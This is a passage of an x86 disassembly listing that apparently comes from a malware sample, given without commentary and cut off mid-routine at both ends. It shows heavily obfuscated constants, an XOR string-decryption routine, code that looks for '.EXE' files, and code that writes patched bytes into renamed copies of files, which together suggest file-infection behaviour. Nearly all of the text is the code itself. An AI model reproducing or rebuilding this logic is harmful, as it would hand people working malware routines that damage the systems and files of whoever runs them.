		cmp	edx, [ebp+var_1058]
		jbe	short loc_43A6D5
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_420]
		mov	[ebp+var_1194],	edi
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1198],	edi
		jmp	short loc_43A6E0
; ---------------------------------------------------------------------------


loc_43A6D5:				; CODE XREF: sub_4395D8+10D9j
		inc	[ebp+var_24]


loc_43A6D8:				; CODE XREF: sub_4395D8+10BDj
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_24], eax
		jb	short loc_43A697


loc_43A6E0:				; CODE XREF: sub_4395D8+10FBj
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1198]
		add	eax, [ebp+var_1058]
		sub	eax, [ebp+var_1194]
		mov	[ebp+var_1190],	eax
		mov	eax, [ebp+var_84C]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1058]
		mov	[ebp+var_1058],	eax
		mov	eax, [ebp+var_850]
		mov	[ebp+var_C], eax
		jmp	loc_43A9AC
; ---------------------------------------------------------------------------


loc_43A721:				; CODE XREF: sub_4395D8+13E0j
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	ecx, dword_54F0B8
		add	ecx, dword_54F150
		sub	ecx, 7
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, dword_54F0A0
		sub	edi, 3
		cmp	ecx, edi
		jnz	loc_43A858
		mov	ecx, dword_54F0A0
		dec	ecx
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, dword_54F204
		sub	edi, 2
		cmp	ecx, edi
		jnz	loc_43A858
		movzx	ecx, byte ptr [edx+eax]
		mov	edi, dword_54F114
		add	edi, 0E4h
		add	edi, dword_54F1E4
		cmp	ecx, edi
		jnz	loc_43A858
		mov	ecx, dword_54F1DC
		add	ecx, 3
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, dword_54F23C
		add	edi, dword_54F200
		sub	edi, 5
		cmp	ecx, edi
		jnz	loc_43A858
		add	eax, dword_54F1D8
		movzx	eax, byte ptr [edx+eax]
		mov	edx, dword_54F220
		add	edx, dword_54F1A0
		sub	edx, 0Ah
		cmp	eax, edx
		jnz	loc_43A858
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+34h]
		add	ecx, [ebp+var_118C]
		mov	[ebp+var_31F1C], ecx
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F20], eax
		movsx	eax, word_54F0F4
		mov	edx, dword_54F1B4
		lea	eax, [eax+edx-7]
		sub	eax, [ebp+var_31F20]
		add	eax, ecx
		movsx	edx, word_54F104
		add	edx, 4
		sub	eax, edx
		mov	[ebp+var_31F24], eax
		movsx	edi, word_54F0A8
		add	edi, dword_54F1F8
		mov	edx, [ebp+var_C]
		movsx	ecx, word_54F0F4
		add	ecx, dword_54F110
		sub	ecx, 0Ah
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4-0Ch], ecx


loc_43A858:				; CODE XREF: sub_4395D8+1171j
					; sub_4395D8+1191j ...
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	[ebp+var_31F1C], edx
		mov	ecx, dword_54F130
		add	ecx, 2
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, dword_54F184
		movsx	edx, word_54F194
		add	edi, edx
		mov	edx, edi
		sub	edx, 5
		cmp	ecx, edx
		jnz	loc_43A9A9
		movsx	edx, word_54F244
		add	edx, dword_54F23C
		sub	edx, 6
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F1C]
		movzx	edx, byte ptr [edx+ecx]
		mov	ecx, dword_54F14C
		add	ecx, dword_54F1EC
		sub	ecx, 5
		cmp	edx, ecx
		jnz	loc_43A9A9
		mov	edx, dword_54F15C
		add	edx, dword_54F110
		sub	edx, 0Bh
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F1C]
		movzx	edx, byte ptr [edx+ecx]
		mov	ecx, dword_54F12C
		sub	ecx, 8
		cmp	edx, ecx
		jnz	loc_43A9A9
		mov	edx, [ebp+var_31F1C]
		movzx	edx, byte ptr [edx+eax]
		movsx	ecx, word_54F240
		add	ecx, 0E0h
		cmp	edx, ecx
		jnz	loc_43A9A9
		mov	edx, dword_54F234
		movsx	ecx, word_54F208
		add	edx, ecx
		sub	edx, 5
		add	eax, edx
		mov	edx, [ebp+var_31F1C]
		movzx	eax, byte ptr [edx+eax]
		mov	edx, dword_54F22C
		sub	edx, 7
		cmp	eax, edx
		jnz	short loc_43A9A9
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F20], eax
		mov	eax, [ebp+var_1190]
		mov	[ebp+var_31F24], eax
		movsx	eax, word_54F0F8
		add	eax, 0FFFFFFFAh
		sub	eax, [ebp+var_31F20]
		add	eax, [ebp+var_31F24]
		mov	edx, dword_54F0D8
		sub	edx, 2
		sub	eax, edx
		mov	[ebp+var_31F28], eax
		movsx	edi, word_54F104
		mov	edx, [ebp+var_C]
		mov	ecx, dword_54F0BC
		inc	ecx
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4], ecx


loc_43A9A9:				; CODE XREF: sub_4395D8+12B3j
					; sub_4395D8+12E8j ...
		inc	[ebp+var_C]


loc_43A9AC:				; CODE XREF: sub_4395D8+1144j
		mov	eax, [ebp+var_850]
		add	eax, 0Dh
		cmp	[ebp+var_C], eax
		jb	loc_43A721
		push	[ebp+var_1074]
		call	ds:dword_4CB948
		push	[ebp+arg_0]
		lea	eax, [ebp+var_117F]
		push	eax
		call	ds:dword_4491A4
		add	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_43A9E5:				; CODE XREF: sub_4395D8+1412j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43A9E5
		mov	[ebp+var_31EDC], eax
		mov	edx, dword_54F1DC
		movsx	ecx, word_54F198
		add	edx, ecx
		sub	eax, edx
		mov	[ebp+eax+var_117F], 72h
		mov	eax, [ebp+var_31EDC]
		movsx	edx, word_54F208
		add	edx, 2
		sub	eax, edx
		mov	[ebp+eax+var_117F], 69h
		mov	eax, [ebp+var_31EDC]
		mov	edx, dword_54F178
		sub	edx, 7
		sub	eax, edx
		mov	[ebp+eax+var_117F], 76h
		mov	eax, dword_54F134
		sub	eax, 2
		push	eax
		mov	eax, dword_54F18C
		sub	eax, 1
		push	eax
		push	2
		movsx	eax, word_54F0B4
		sub	eax, 5
		push	eax
		mov	eax, dword_54F0AC
		sub	eax, 7
		push	eax
		push	40000000h
		lea	eax, [ebp+var_117F]
		push	eax
		call	ds:dword_54DB18
		mov	[ebp+var_1074],	eax
		mov	eax, dword_54F17C
		sub	eax, 7
		push	eax
		lea	eax, [ebp+var_31EE0]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1074]
		call	ds:dword_54DF1C
		push	[ebp+var_1074]
		call	ds:dword_4CB948
		push	[ebp+var_4]
		call	ds:dword_4495CC
		push	0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_117F]
		push	eax
		call	ds:dword_4CA544
		lea	eax, [ebp+var_117F]
		push	eax
		call	ds:dword_44600C
		mov	eax, 1
		jmp	short loc_43AAF2
; ---------------------------------------------------------------------------


loc_43AADB:				; CODE XREF: sub_4395D8+117j
					; sub_4395D8+131j ...
		push	[ebp+var_1074]
		call	ds:dword_4CB948
		push	[ebp+var_4]
		call	ds:dword_4495CC
		xor	eax, eax


loc_43AAF2:				; CODE XREF: sub_4395D8+9Dj
					; sub_4395D8+1501j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4395D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43AAF7	proc near		; CODE XREF: sub_438324+426p
					; sub_438324+475p ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword_54F250, 0
		jnz	short loc_43AB1F
		push	offset dword_54E050
		call	ds:dword_447FCC
		mov	dword_54F250, 1


loc_43AB1F:				; CODE XREF: sub_43AAF7+11j
		mov	esi, dword_54F134
		inc	esi
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+1]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, dword_54F158
		add	edx, dword_54F230
		dec	edx
		cmp	eax, edx
		jz	loc_43ABDE
		push	offset dword_54E050
		call	ds:dword_54C95C
		movsx	eax, word_54F0F4
		movsx	edx, word_54F144
		add	eax, edx
		sub	eax, 3
		mov	[ebp+var_2], ax
		jmp	short loc_43AB90
; ---------------------------------------------------------------------------


loc_43AB7B:				; CODE XREF: sub_43AAF7+A3j
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+2]
		xor	edx, ecx
		mov	[eax], dl
		inc	[ebp+var_2]


loc_43AB90:				; CODE XREF: sub_43AAF7+82j
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_43AB7B
		movsx	eax, word_54F0CC
		dec	eax
		movsx	edx, word_54F0F8
		sub	edx, 5
		mov	[edi+eax], dl
		movsx	eax, word_54F198
		add	eax, dword_54F1C8
		sub	eax, 8
		mov	edx, dword_54F0E0
		add	edx, dword_54F124
		sub	edx, 8
		mov	[edi+eax], dl
		push	offset dword_54E050
		call	ds:dword_4CB940


loc_43ABDE:				; CODE XREF: sub_43AAF7+5Aj
		lea	eax, [edi+3]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43AAF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43ABE6	proc near		; CODE XREF: sub_43ADF1+2C8p
					; sub_43E77A+1ADp

var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_316		= byte ptr -316h
var_212		= byte ptr -212h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 32Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_50C924
		pop	ecx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_4455D4
		lea	ecx, [ebp+var_316]
		or	eax, 0FFFFFFFFh


loc_43AC14:				; CODE XREF: sub_43ABE6+33j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43AC14
		mov	edx, dword_54F204
		add	edx, dword_54F098
		sub	edx, 0Ah
		mov	ebx, eax
		sub	ebx, edx
		mov	edx, dword_54F180
		mov	[ebp+ebx+var_316], dl
		mov	eax, dword_54F154
		movsx	edx, word_54F104
		mov	edi, eax
		add	edi, edx
		sub	edi, 8


loc_43AC4E:				; CODE XREF: sub_43ABE6+16Fj
		mov	eax, edi
		mov	ecx, dword_54F0C8
		inc	ecx
		mul	ecx
		mov	[ebp+var_320], eax
		movsx	eax, [ebp+edi+var_316]
		mov	edx, [ebp+var_320]
		mov	[ebp+edx+var_212], al
		mov	eax, edi
		mov	ecx, dword_54F0E4
		sub	ecx, 3
		mul	ecx
		mov	[ebp+var_324], eax
		mov	eax, dword_54F1A0
		add	eax, dword_54F19C
		sub	eax, 0Bh
		mov	edx, [ebp+var_324]
		add	edx, eax
		mov	eax, dword_54F1BC
		add	eax, dword_54F238
		sub	eax, 6
		mov	[ebp+edx+var_212], al
		movsx	eax, [ebp+edi+var_316]
		movsx	edx, word_54F1F0
		add	edx, dword_54F10C
		sub	edx, 8
		cmp	eax, edx
		jnz	loc_43AD54
		mov	eax, edi
		mov	ecx, dword_54F17C
		sub	ecx, 5
		mul	ecx
		mov	[ebp+var_328], eax
		mov	eax, dword_54F0E4
		add	eax, dword_54F098
		sub	eax, 0Bh
		mov	edx, [ebp+var_328]
		add	edx, eax
		movsx	eax, word_54F1A8
		mov	[ebp+edx+var_212], al
		mov	eax, edi
		mov	ecx, dword_54F150
		add	ecx, dword_54F134
		sub	ecx, 4
		mul	ecx
		mov	[ebp+var_32C], eax
		mov	eax, dword_54F16C
		movsx	edx, word_54F0F8
		add	eax, edx
		sub	eax, 8
		mov	edx, [ebp+var_32C]
		add	edx, eax
		movsx	eax, word_54F190
		add	eax, dword_54F0E4
		sub	eax, 0Dh
		mov	[ebp+edx+var_212], al
		jmp	short loc_43AD5A
; ---------------------------------------------------------------------------


loc_43AD54:				; CODE XREF: sub_43ABE6+E6j
		inc	edi
		jmp	loc_43AC4E
; ---------------------------------------------------------------------------


loc_43AD5A:				; CODE XREF: sub_43ABE6+16Cj
		mov	eax, dword_54F124
		sub	eax, 2
		cmp	dword_54F26C, eax
		jz	short loc_43ADCB
		lea	eax, [ebp+var_212]
		push	eax
		mov	eax, dword_54F1D4
		sub	eax, 8
		push	eax
		call	ds:dword_4495B4
		mov	esi, eax
		or	esi, esi
		jz	short loc_43ADCB
		mov	eax, dword_54F1A0
		add	eax, dword_54F19C
		sub	eax, 0Ch
		cmp	dword_54F270, eax
		jz	short loc_43ADEC
		mov	eax, dword_54F0D8
		add	eax, dword_54F12C
		sub	eax, 0Dh
		neg	eax
		push	eax
		lea	eax, [ebp+var_212]
		push	eax
		movsx	eax, word_54F118
		add	eax, dword_54F18C
		sub	eax, 9
		push	eax
		call	ds:dword_446024


loc_43ADCB:				; CODE XREF: sub_43ABE6+182j
					; sub_43ABE6+19Ej
		push	ds:dword_4495C4
		push	ds:dword_4CC8FC
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_4395D8
		add	esp, 0Ch
		mov	[ebp+var_31C], eax


loc_43ADEC:				; CODE XREF: sub_43ABE6+1B4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43ABE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43ADF1	proc near		; CODE XREF: sub_43E77A+183p

var_12110	= byte ptr -12110h
var_1210C	= word ptr -1210Ch
var_1210A	= word ptr -1210Ah
var_12108	= dword	ptr -12108h
var_12104	= byte ptr -12104h
var_12000	= word ptr -12000h
var_11FFE	= byte ptr -11FFEh
var_1FFF	= byte ptr -1FFFh
var_1FB3	= byte ptr -1FB3h
var_1FB2	= byte ptr -1FB2h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 12110h
		call	sub_4455B4
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_12104]
		push	eax
		call	sub_4455D4
		lea	ecx, [ebp+var_12104]
		or	eax, 0FFFFFFFFh


loc_43AE19:				; CODE XREF: sub_43ADF1+2Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43AE19
		mov	ebx, dword_54F1B4
		sub	ebx, 3
		mov	esi, eax
		sub	esi, ebx
		movsx	ebx, word_54F0D0
		sub	ebx, 6
		mov	[ebp+esi+var_12104], bl
		movsx	eax, word_54F194
		add	eax, dword_54F18C
		sub	eax, 2
		push	eax
		movsx	eax, word_54F144
		sub	eax, 4
		push	eax
		push	3
		movsx	eax, word_54F1E8
		add	eax, dword_54F1B8
		sub	eax, 0Bh
		push	eax
		push	dword_54F1DC
		push	80000001h
		lea	eax, [ebp+var_12104]
		push	eax
		call	ds:dword_54DB18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_43B0C1
		movsx	eax, word_54F240
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_12110]
		push	eax
		push	1FFFh
		lea	eax, [ebp+var_1FFF]
		push	eax
		push	edi
		call	ds:dword_446034
		mov	[ebp+var_12108], eax
		push	edi
		call	ds:dword_4CB948
		cmp	[ebp+var_1FFF],	4Ch
		jnz	loc_43B0C1
		mov	eax, dword_54F0AC
		sub	eax, 7
		cmp	[ebp+var_12108], eax
		jz	loc_43B0C1
		movzx	esi, [ebp+var_1FB3]
		movzx	ebx, [ebp+var_1FB2]
		movzx	ebx, bx
		shl	ebx, 8
		or	esi, ebx
		mov	[ebp+var_1210A], si
		movzx	eax, [ebp+var_1210A]
		mov	edx, dword_54F1DC
		add	edx, 44h
		add	edx, dword_54F108
		add	eax, edx
		mov	edx, dword_54F0F0
		dec	edx
		add	eax, edx
		mov	[ebp+var_12000], ax
		movzx	eax, [ebp+var_12000]
		movsx	eax, [ebp+eax+var_1FFF]
		movsx	edx, word_54F0FC
		add	edx, dword_54F1B4
		sub	edx, 6
		cmp	eax, edx
		jz	loc_43B0C1
		movzx	eax, [ebp+var_12000]
		mov	edx, dword_54F1FC
		add	edx, 3
		add	edx, dword_54F0E4
		add	eax, edx
		movsx	eax, [ebp+eax+var_1FFF]
		mov	edx, dword_54F0BC
		add	edx, dword_54F188
		sub	edx, 4
		cmp	eax, edx
		jnz	loc_43B0C1
		movzx	eax, [ebp+var_12000]
		mov	edx, dword_54F20C
		add	edx, 0Ch
		mov	ecx, eax
		add	ecx, edx
		movzx	edx, [ebp+ecx+var_1FFF]
		mov	esi, dword_54F090
		add	esi, 0Dh
		mov	ebx, eax
		add	ebx, esi
		movzx	esi, [ebp+ebx+var_1FFF]
		movzx	esi, si
		shl	esi, 8
		mov	ebx, edx
		or	ebx, esi
		mov	esi, ebx
		movzx	esi, si
		mov	ebx, eax
		add	ebx, esi
		mov	esi, ebx
		mov	[ebp+var_1210C], si
		movzx	eax, [ebp+var_1210C]
		lea	eax, [ebp+eax+var_1FFF]
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_4455D4
		lea	ecx, [ebp+var_11FFE]
		or	eax, 0FFFFFFFFh


loc_43AFF7:				; CODE XREF: sub_43ADF1+20Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43AFF7
		mov	edi, eax
		mov	eax, edi
		sub	eax, dword_54F090
		cmp	[ebp+eax+var_11FFE], 2Eh
		jnz	short loc_43B08F
		mov	eax, dword_54F1F4
		add	eax, dword_54F0E8
		sub	eax, 7
		mov	edx, edi
		sub	edx, eax
		movsx	eax, [ebp+edx+var_11FFE]
		push	eax
		call	ds:dword_44603C
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_43B08F
		mov	esi, dword_54F098
		add	esi, dword_54F188
		sub	esi, 0Ch
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	ds:dword_44603C
		add	esp, 4
		cmp	eax, 58h
		jnz	short loc_43B08F
		mov	esi, dword_54F170
		add	esi, dword_54F14C
		sub	esi, 5
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	ds:dword_44603C
		add	esp, 4
		cmp	eax, 45h
		jz	short loc_43B091


loc_43B08F:				; CODE XREF: sub_43ADF1+21Fj
					; sub_43ADF1+248j ...
		jmp	short loc_43B0C1
; ---------------------------------------------------------------------------


loc_43B091:				; CODE XREF: sub_43ADF1+29Cj
		push	offset dword_550820
		call	sub_43AAF7
		push	eax
		lea	edi, [ebp+var_11FFE]
		push	edi
		call	ds:dword_44602C
		mov	eax, dword_54F0D8
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_43ABE6
		add	esp, 14h


loc_43B0C1:				; CODE XREF: sub_43ADF1+99j
					; sub_43ADF1+D8j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43ADF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B0C6	proc near		; CODE XREF: sub_441ADA+63p

var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= word ptr -80h
var_40		= word ptr -40h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		mov	ebx, dword_54F090
		sub	ebx, 4
		jmp	short loc_43B0EC
; ---------------------------------------------------------------------------


loc_43B0DD:				; CODE XREF: sub_43B0C6+30j
		mov	edx, dword_54F178
		sub	edx, 9
		mov	[ebp+ebx*2+var_40], dx
		inc	ebx


loc_43B0EC:				; CODE XREF: sub_43B0C6+15j
		mov	eax, dword_54F248
		add	eax, 1Ch
		cmp	ebx, eax
		jb	short loc_43B0DD
		movsx	eax, word_54F1F0
		movsx	edx, word_54F148
		mov	esi, eax
		add	esi, edx
		sub	esi, 7
		jmp	short loc_43B120
; ---------------------------------------------------------------------------


loc_43B10F:				; CODE XREF: sub_43B0C6+65j
		mov	edx, esi
		shl	edx, 1
		mov	ecx, [ebp+arg_4]
		mov	cx, [ecx+esi*2]
		mov	[ebp+edx+var_80], cx
		inc	esi


loc_43B120:				; CODE XREF: sub_43B0C6+47j
		mov	eax, dword_54F114
		lea	eax, [eax+eax+1Eh]
		cmp	esi, eax
		jb	short loc_43B10F
		lea	eax, dword_54CAC0
		mov	[ebp+var_88], eax
		mov	eax, dword_54F1D0
		sub	eax, 7
		mov	[ebp+var_84], eax


loc_43B147:				; CODE XREF: sub_43B0C6+12Cj
					; sub_43B0C6+144j
		push	[ebp+var_84]
		push	[ebp+arg_0]
		call	sub_43FB90
		add	esp, 8
		mov	[ebp+var_8C], eax
		mov	eax, dword_54F0BC
		inc	eax
		cmp	[ebp+var_8C], eax
		jnz	short loc_43B1A7
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_443AFA
		mov	[ebp+var_90], eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_440478
		add	esp, 10h
		or	eax, eax
		jz	short loc_43B1A7
		push	[ebp+var_88]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_43946B
		add	esp, 8


loc_43B1A7:				; CODE XREF: sub_43B0C6+A4j
					; sub_43B0C6+CDj
		inc	[ebp+var_84]
		mov	eax, dword_54F238
		add	eax, 20h
		mov	edx, dword_54F1DC
		add	edx, 0Ah
		add	edx, dword_54F0E0
		imul	eax, edx
		cmp	[ebp+var_84], eax
		jnb	short loc_43B20F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_43B71B
		mov	[ebp+var_90], eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_440478
		add	esp, 0Ch
		or	eax, eax
		jz	loc_43B147
		push	[ebp+var_88]
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_43946B
		add	esp, 8
		jmp	loc_43B147
; ---------------------------------------------------------------------------


loc_43B20F:				; CODE XREF: sub_43B0C6+107j
		mov	edi, dword_54F228
		sub	edi, 8
		jmp	short loc_43B22B
; ---------------------------------------------------------------------------


loc_43B21A:				; CODE XREF: sub_43B0C6+16Fj
		mov	edx, edi
		shl	edx, 1
		mov	ecx, [ebp+arg_0]
		mov	dx, [ebp+edx+var_40]
		mov	[ecx+edi*2], dx
		inc	edi


loc_43B22B:				; CODE XREF: sub_43B0C6+152j
		mov	eax, dword_54F10C
		add	eax, 1Eh
		cmp	edi, eax
		jb	short loc_43B21A
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B0C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B23C	proc near		; CODE XREF: sub_443E8D+EBp
					; sub_443E8D+113p ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 2Bh
		mov	edx, 2FA0BE83h
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_54F198
		mov	ecx, dword_54F1AC
		lea	edx, [edx+ecx+1]
		cmp	eax, edx
		jnz	short loc_43B282
		mov	eax, 6Fh
		jmp	loc_43B305
; ---------------------------------------------------------------------------


loc_43B282:				; CODE XREF: sub_43B23C+3Aj
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_54F1AC
		movsx	ecx, word_54F244
		add	edx, ecx
		sub	edx, 8
		cmp	eax, edx
		jnz	short loc_43B2A3
		mov	eax, 79h
		jmp	short loc_43B305
; ---------------------------------------------------------------------------


loc_43B2A3:				; CODE XREF: sub_43B23C+5Ej
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_54F130
		add	edx, 2
		cmp	eax, edx
		jnz	short loc_43B2BB
		mov	eax, 69h
		jmp	short loc_43B305
; ---------------------------------------------------------------------------


loc_43B2BB:				; CODE XREF: sub_43B23C+76j
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_54F1AC
		add	edx, dword_54F11C
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_43B2D9
		mov	eax, 65h
		jmp	short loc_43B305
; ---------------------------------------------------------------------------


loc_43B2D9:				; CODE XREF: sub_43B23C+94j
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_54F110
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_43B2F1
		mov	eax, 61h
		jmp	short loc_43B305
; ---------------------------------------------------------------------------


loc_43B2F1:				; CODE XREF: sub_43B23C+ACj
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_54F0E8
		inc	edx
		cmp	eax, edx
		jnz	short loc_43B305
		mov	eax, 75h


loc_43B305:				; CODE XREF: sub_43B23C+41j
					; sub_43B23C+65j ...
		pop	edi
		pop	ebx
		leave
		retn
sub_43B23C	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B309	proc near		; CODE XREF: sub_444ED7+11p
		push	edi
		push	offset byte_550811
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_449598
		mov	dword_54F274, eax
		mov	eax, dword_54F0C0
		movsx	edx, word_54F1CC
		add	eax, edx
		sub	eax, 0Bh
		cmp	dword_54F274, eax
		jnz	short loc_43B351
		push	offset word_550802
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_48A218
		mov	dword_54F274, eax


loc_43B351:				; CODE XREF: sub_43B309+2Fj
		push	offset word_5507EE
		call	sub_43AAF7
		pop	ecx
		push	eax
		push	dword_54F274
		call	ds:dword_4491AC
		mov	ds:dword_489A00, eax
		pop	edi
		retn
sub_43B309	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B370	proc near		; CODE XREF: sub_43F052+5A5p
					; sub_43F052+614p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_C]
		not	edx
		mov	ecx, esi
		or	ecx, edx
		xor	eax, ecx
		mov	edx, edi
		add	edx, eax
		mov	eax, edx
		add	eax, [ebp+arg_10]
		mov	edi, eax
		add	edi, [ebp+arg_18]
		push	[ebp+arg_14]
		push	edi
		call	sub_43D3EA
		add	esp, 8
		mov	edi, eax
		add	edi, esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_43B370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B3AD	proc near		; CODE XREF: sub_444250+2AAp

var_54		= byte ptr -54h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	4
		push	1000h
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		jge	short loc_43B3CB
		add	eax, 3Fh


loc_43B3CB:				; CODE XREF: sub_43B3AD+19j
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		push	0
		call	ds:dword_48A21C
		mov	[ebp+var_14], eax
		mov	edi, [ebp+arg_4]
		movsx	edx, word_54F208
		mov	ecx, dword_54F234
		lea	edx, [edx+ecx+37h]
		mov	eax, edi
		add	eax, edx
		jge	short loc_43B3FC
		add	eax, 3Fh


loc_43B3FC:				; CODE XREF: sub_43B3AD+4Aj
		sar	eax, 6
		movsx	edi, word_54F190
		mov	ecx, dword_54F1F8
		lea	edi, [edi+ecx+35h]
		mov	edx, eax
		imul	edx, edi
		push	edx
		push	[ebp+var_14]
		call	ds:dword_446038
		push	[ebp+arg_4]
		push	esi
		push	[ebp+var_14]
		call	ds:dword_4CB814
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_43FA9F
		add	esp, 10h
		mov	esi, [ebp+var_14]
		movsx	eax, word_54F104
		movsx	edx, word_54F198
		mov	ebx, eax
		add	ebx, edx
		dec	ebx
		jmp	short loc_43B46F
; ---------------------------------------------------------------------------


